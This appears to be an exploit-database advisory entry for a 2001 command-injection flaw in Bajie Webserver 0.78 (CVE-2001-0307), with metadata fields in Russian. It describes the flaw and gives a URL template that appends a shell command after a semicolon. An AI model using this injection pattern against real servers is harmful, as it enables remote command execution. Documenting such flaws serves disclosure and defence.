Exploit Bajie 0.78 - Arbitrary Shell Command Execution

[Exploiter]

EDB-ID

20639

Проверка EDB

1. Пройдено

Автор

JOETESTA

Тип уязвимости

REMOTE

Платформа

MULTIPLE

CVE

cve-2001-0307

Дата публикации

2001-02-15

source: https://www.securityfocus.com/bid/2389/info

Requesting a specailly crafted URL containg arbitrary code, can be exected on a Unix system running Bajie Webserver. Any arbitrary commands appended to a malicious URL after the ';' will be executed as an independent job. 

http://target/bin/test.txt;%20[shell command]